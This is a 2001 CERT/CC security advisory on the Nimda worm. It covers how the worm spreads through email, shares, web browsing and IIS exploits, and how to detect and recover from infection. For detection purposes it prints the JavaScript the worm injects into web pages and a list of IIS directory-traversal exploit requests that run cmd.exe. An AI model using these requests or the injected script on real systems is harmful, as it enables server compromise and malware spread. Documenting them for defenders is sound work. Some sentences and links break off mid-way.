TUCoPS :: Malware :: ca200126.txt

Nimda Worm VIR

CERT Advisory CA-2001-26 Nimda Worm

   Original release date: September 18, 2001
   Source: CERT/CC
   A complete revision history is at the end of this file.
Systems Affected

     * Systems running Microsoft Windows 95, 98, ME, NT, and 2000

   The CERT/CC has received reports of new malicious code known as the
   "W32/Nimda worm" or the "Concept Virus (CV) v.5." This new worm
   appears to spread by multiple mechanisms:
     * from client to client via email
     * from client to client via open network shares
     * from web server to client via browsing of compromised web sites
     * from client to web server via active scanning for and exploitation
       of the "Microsoft IIS 4.0 / 5.0 directory traversal" vulnerability
       (VU #111677)
     * from client to web server via scanning for the back doors left
       behind by the "Code Red II" (IN-2001-09), and "sadmind/IIS"
       (CA-2001-11) worms
   Initial analysis indicates that the worm contains no destructive
   payload beyond modification of web content to facilitate its own
   We are also receiving reports of denial of service as a result of
   network scanning and email propagation.
I. Description

   The Nimda worm has the potential to affect both user workstations
   (clients) running Windows 95, 98, ME, NT, or 2000 and servers running
   Windows NT and 2000.
Email Propagation

   This worm propagates through email arriving as a MIME
   "multipart/alternative" message consisting of two sections. The first
   section is defined as MIME type "text/html", but it contains no text,
   so the email appears to have no content. The second section is defined
   as MIME type "audio/x-wav", but it contains a base64-encoded
   attachment named "readme.exe", which is a binary executable.
   Due to a vulnerability described in CA-2001-06 (Automatic Execution of
   Embedded MIME Types), any mail software running on an x86 platform
   that uses Microsoft Internet Explorer 5.5 SP1 or earlier (except IE
   5.01 SP2) to render the HTML mail automatically runs the enclosed
   attachment and, as result, infects the machine with the worm. Thus, in
   vulnerable configurations, the worm payload will automatically be
   triggered by simply opening (or previewing) this mail message. As an
   executable binary, the payload can also be triggered by simply running
   the attachment.
   The email message delivering the Nimda worm appears to also have the
   following characteristics:
     * The text in the subject line of the mail message appears to be
       variable, but those seen to date have been over 80 characters
     * There appear to be many slight variations in the attach binary
       file, causing the MD5 checksum to be different when one compares
       different attachments from different email messages. However, the
       file length of the attachment appears to consistently be 57344

   Infected client machines attempt to send copies of the Nimda worm via
   email to all addresses found in the Windows address book.
   Likewise, the client machines begin scanning for vulnerable IIS
   servers. Nimda looks for backdoors left by previous IIS worms: Code
   Red II [IN-2001-09] and sadmind/IIS worm [CA-2001-11]. It also
   attempts to exploit the IIS Directory Traversal vulnerability (VU
   #111677). The selection of potential target IP addresses follows these
   rough probabilities:
     * 50% of the time, an address with the same first two octets will be
     * 25% of the time, an address with the same first octet will be
     * 25% of the time, a random address will be chosen
   The infected client machine transfers a copy of the Nimda code to any
   server that it scans and finds to be vulnerable. Once running on the
   server machine, the worm traverses each directory in the system
   (including all those accessible through a file shares) and write a
   copy of itself to disk using the name "README.EML". When a directory
   containing web content (e.g., HTML or ASP files) is found, the
   following snippet of Javascript code is appended to every one of these
   web-related files:
<script language="JavaScript">
window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script>

   This modification of web content allows further propagation of the
   worm to new clients through a browser or browsing of a network file
Browser Propagation

   As part of the infection process, the Nimda worm modifies all web
   content files it finds (including, but not limited to, files with
   .htm, .html, and .asp extensions). As a result, any user browsing web
   content on the system, whether via the file system or via a web
   server, may download a copy of the worm. Some browsers may
   automatically execute the downloaded copy, thereby infecting the
   browsing system.
File System Propagation

   The Nimda worm creates numerous copies of itself (using the name
   README.EML) in all writable directories (including those found on a
   network share) to which the user has access. If a user on another
   system subsequently selects the copy of the worm file on the shared
   network drive in Windows Explorer with the preview option enabled, the
   worm may be able to compromise that system.
System FootPrint

   The scanning activity of the Nimda worm produces the following log
   entries for any web server listing on port 80/tcp:
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/s
GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir

   Note: The first four entries in these sample logs denote attempts to
   connect to the backdoor left by Code Red II, while the remaining log
   entries are examples of exploit attempts for the Directory Traversal
II. Impact

   Intruders can execute arbitrary commands within the LocalSystem
   security context on machines running the unpatched versions of IIS.
   Hosts that have been compromised are also at high risk for being party
   to attacks on other Internet sites.
   The high scanning rate of the Nimda worm may also cause bandwidth
   denial-of-service conditions on networks with infected machines.
III. Solutions

Recommendations for System Administrators of IIS machines

   To determine if your system has been compromised, look for the
     * root.exe artifact (indicates a compromise by Code Red II or
       sadmind/IIS worms making the system vulnerable to the Nimda worm)
     * admin.dll artifact or unexpected .eml files in the directories
       with web content (indicates compromise by the Nimda worm)
   The only safe way to recover from the system compromise is to format
   the system drive(s) and reinstall the system software from trusted
   media (such as vendor-supplied CD-ROM). Additionally, after the
   software is reinstalled, all vendor-supplied security patches must be
   applied. The recommended time to do this is while the system is not
   connected to any network. However, if sufficient care is taken to
   disable all server network services, then the patches can be
   downloaded from the Internet.
   Detailed instructions for recovering your system can be found in the
   CERT/CC tech tip:
          Steps for Recovering from a UNIX or NT System Compromise
Apply the appropriate patch from your vendor

   A cumulative patch which addresses all of the IIS-related
   vulnerabilities exploited by the Nimda worm is available from
   Microsoft at
Recommendations for End User Systems

Apply the appropriate patch from your vendor

   If you are running a vulnerable version of Internet Explorer (IE), the
   CERT/CC recommends applying patch for the "Automatic Execution of
   Embedded MIME Types" vulnerability available from Microsoft at
Run and Maintain an Anti-Virus Product

   It is important for users to update their anti-virus software. Most
   anti-virus software vendors have released updated information, tools,
   or virus databases to help detect and partially recover from this
   malicious code. A list of vendor-specific anti-virus information can
   be found in Appendix A.
   Many anti-virus packages support automatic updates of virus
   definitions. We recommend using these automatic updates when
     Don't open e-mail attachments
   The Nimda worm may arrive as an email attachment named "readme.exe".
   Users should not open this attachment.
     Disable JavaScript End-user systems can become infected with the
   Nimda worm by browsing web sites hosted by infected servers. This
   method of infection requires the use of JavaScript to be successful.
   Therefore, the CERT/CC recommends that end user systems disable
Appendix A. Vendor Information

Antivirus Vendor Information

Central Command, Inc.

Command Software Systems

Data Fellows Corp




Trend Micro


   You may wish to visit the CERT/CC's computer virus resources page
   located at 
   Authors:  Roman Danyliw, Chad Dougherty, Allen Householder, Robin
   This document is available from:
CERT/CC Contact Information

   Email: cert@cert.org
          Phone: +1 412-268-7090 (24-hour hotline)
          Fax: +1 412-268-6989
          Postal address:
          CERT Coordination Center
          Software Engineering Institute
          Carnegie Mellon University
          Pittsburgh PA 15213-3890
   CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) /
   EDT(GMT-4) Monday through Friday; they are on call for emergencies
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Using encryption

   We strongly urge you to encrypt sensitive information sent by email.
   Our public PGP key is available from
   If you prefer to use DES, please call the CERT hotline for more
Getting security information

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   Conditions for use, disclaimers, and sponsorship information
   Copyright 2001 Carnegie Mellon University.
   Revision History
September 18, 2001: Initial Release

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